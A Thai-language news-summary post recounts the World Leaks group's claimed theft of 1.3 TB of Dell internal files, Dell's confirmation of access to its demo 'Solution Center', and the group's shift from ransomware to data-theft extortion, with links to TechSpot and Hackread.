“รอวันที่องค์กรอ่อนแอ” แล้วลงมือทันที ➡️ ไม่จำเป็นต้องเจาะระบบซับซ้อน แค่รหัสผ่านอ่อนก็พอ https://www.techspot.com/news/108749-one-weak-password-brought-down-158-year-old.html

🎙️ เรื่องเล่าจากเบื้องหลังไฟล์: เมื่อ Dell ถูกเจาะแบบไม่ต้องล็อกไฟล์ World Leaks ซึ่งเป็นกลุ่มแฮกเกอร์ที่เคยใช้ชื่อว่า Hunters International ได้เปลี่ยนกลยุทธ์จาก ransomware มาเป็นการขโมยข้อมูลโดยตรง — แล้วขู่เปิดเผยต่อสาธารณะเพื่อเรียกค่าไถ่ โดยไม่ต้องใช้การเข้ารหัสไฟล์อีกต่อไป ในกรณีของ Dell: - กลุ่มนี้อ้างว่าได้ข้อมูลภายในจากระบบทั่วโลกของ Dell ทั้งในอเมริกา, ยุโรป และเอเชียแปซิฟิก - มีไฟล์กว่า 416,103 รายการ รวมถึงสคริปต์ Terraform, เครื่องมือ VMware, โค้ดทดสอบ, และข้อมูลระบบเฝ้าระวัง - มีการกล่าวถึงผลิตภัณฑ์ของ Dell เช่น PowerPath, PowerStore และ firmware สำหรับฮาร์ดแวร์ของ Dell - Dell ยืนยันว่ามีการเข้าถึงระบบ “Solution Center” ซึ่งใช้สำหรับการสาธิตและทดสอบเท่านั้น — ไม่เกี่ยวกับระบบบริการลูกค้าหรือพันธมิตร แม้ Dell จะไม่ใช้คำว่า “ถูกเจาะระบบ” โดยตรง แต่ก็ยอมรับว่ามีการเข้าถึงโดยไม่ได้รับอนุญาต และกำลังสอบสวนเพิ่มเติม ✅ กลุ่ม World Leaks อ้างว่าเจาะระบบของ Dell และนำข้อมูลภายในกว่า 1.3 TB ออกมาเผยแพร่ ➡️ มีไฟล์กว่า 416,103 รายการที่เกี่ยวข้องกับเครื่องมือภายในและข้อมูลระบบ ✅ ข้อมูลครอบคลุมจากหลายภูมิภาคทั่วโลก เช่นอเมริกา, ยุโรป, เอเชียแปซิฟิก ➡️ มีสคริปต์ระบบ, โค้ดทดสอบ, และข้อมูลการพัฒนาและสนับสนุน ✅ Dell ยืนยันว่ามีการเข้าถึงระบบ “Solution Center” ที่ใช้สำหรับการสาธิตและทดสอบ ➡️ ระบบนี้แยกจากเครือข่ายลูกค้าและพันธมิตร และมีข้อมูลสังเคราะห์เป็นหลัก ✅ World Leaks เปลี่ยนกลยุทธ์จาก ransomware มาเป็นการขโมยข้อมูลและขู่เปิดเผย ➡️ ลดความเสี่ยงจากการถูกติดตามโดยหน่วยงานรัฐ และเพิ่มแรงกดดันต่อเหยื่อ ✅ ใช้เครื่องมือ exfiltration แบบใหม่ที่สามารถดึงข้อมูลจำนวนมากโดยอัตโนมัติ ➡️ เป็นเวอร์ชันที่พัฒนาจากเครื่องมือเดิมของ Hunters International ✅ Dell เคยถูกเจาะระบบมาก่อน เช่นในปี 2024 ที่มีข้อมูลลูกค้าและพนักงานรั่วไหล ➡️ รวมถึงข้อมูลจาก 49 ล้านบัญชี และพนักงานกว่า 10,000 คน https://hackread.com/world-leaks-dell-data-breach-leaks-1-3-tb-of-files/